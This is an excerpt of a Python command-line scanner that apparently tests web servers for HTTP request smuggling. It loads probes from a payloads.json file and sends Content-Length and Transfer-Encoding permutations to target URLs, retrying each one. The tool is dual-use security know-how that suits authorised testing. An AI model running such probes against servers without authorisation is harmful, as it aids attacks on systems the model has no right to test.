142 | print(f"[{args.urls}] not found in your local directory")
143 | sys.exit(1)
144 | target_urls = urls
145 |
146 | if args.url:
147 | target_urls.append(args.url)
148 |
149 | for url in target_urls:
150 | result = utils.url_parser(url)
151 | try:
152 | json_res = json.loads(result)
153 | host = json_res['host']
154 | port = json_res['port']
155 | path = json_res['path']
156 |
157 | # If host is invalid then it will exit
158 | if host is None:
159 | print(f"Invalid host - {host}")
160 | sys.exit(1)
161 |
162 | method = args.method.upper() if args.method else "POST"
163 | pattern = re.compile('GET|POST')
164 | if not (pattern.match(method)):
165 | print(constants.invalid_method_type)
166 | sys.exit(1)
167 |
168 | timeout = int(args.timeout) if args.timeout else 10
169 | retry = int(args.retry) if args.retry else 2
170 |
171 | # To detect the HRS it requires at least 1 retry count
172 | if retry == 0:
173 | print(constants.invalid_retry_count)
174 | sys.exit(1)
175 |
176 | square_left_sign = colored('[', constants.cyan, attrs=['bold'])
177 | plus_sign = colored("+", constants.green, attrs=['bold'])
178 | square_right_sign = colored(']', constants.cyan, attrs=['bold'])
179 | square_sign = "{}{}{:<16}".format(square_left_sign, plus_sign, square_right_sign)
180 |
181 | target_header_style_config = '{:<1}{}{:<25}{:<16}{:<10}'
182 | print(target_header_style_config.format('', square_sign,
183 | colored("Target URL", constants.magenta, attrs=['bold']),
184 | colored(":", constants.magenta, attrs=['bold']),
185 | colored(url, constants.blue, attrs=['bold'])))
186 | print(target_header_style_config.format('', square_sign,
187 | colored("Method", constants.magenta, attrs=['bold']),
188 | colored(":", constants.magenta, attrs=['bold']),
189 | colored(method, constants.blue, attrs=['bold'])))
190 | print(target_header_style_config.format('', square_sign,
191 | colored("Retry", constants.magenta, attrs=['bold']),
192 | colored(":", constants.magenta, attrs=['bold']),
193 | colored(retry, constants.blue, attrs=['bold'])))
194 | print(target_header_style_config.format('', square_sign,
195 | colored("Timeout", constants.magenta, attrs=['bold']),
196 | colored(":", constants.magenta, attrs=['bold']),
197 | colored(timeout, constants.blue, attrs=['bold'])))
198 |
199 | reports = os.path.join(str(Path().absolute()), constants.reports, host)
200 | print(target_header_style_config.format('', square_sign,
201 | colored("HRS Reports", constants.magenta, attrs=['bold']),
202 | colored(":", constants.magenta, attrs=['bold']),
203 | colored(reports, constants.blue, attrs=['bold'])))
204 | print()
205 |
206 | payloads = open('payloads.json')
207 | data = json.load(payloads)
208 |
209 | payload_list = list()
210 |
211 | for permute in data[constants.permute]:
212 | for d in data[constants.detection]:
213 | # Based on the retry value it will re-execute the same payload again
214 | for _ in range(retry):
215 | transfer_encoding_obj = permute[constants.transfer_encoding]
216 | hrs_detection(host, port, path, method, permute[constants.type],
217 | permute[constants.content_length_key],
218 | transfer_encoding_obj[constants.te_key],
219 | transfer_encoding_obj[constants.te_value],
220 | d[constants.type],
221 | d[constants.content_length],
222 | d[constants.payload],
223 | timeout)
224 | except ValueError as _:
225 | print(result)
226 | except KeyboardInterrupt as e:
227 | print(e)
228 |
--------------------------------------------------------------------------------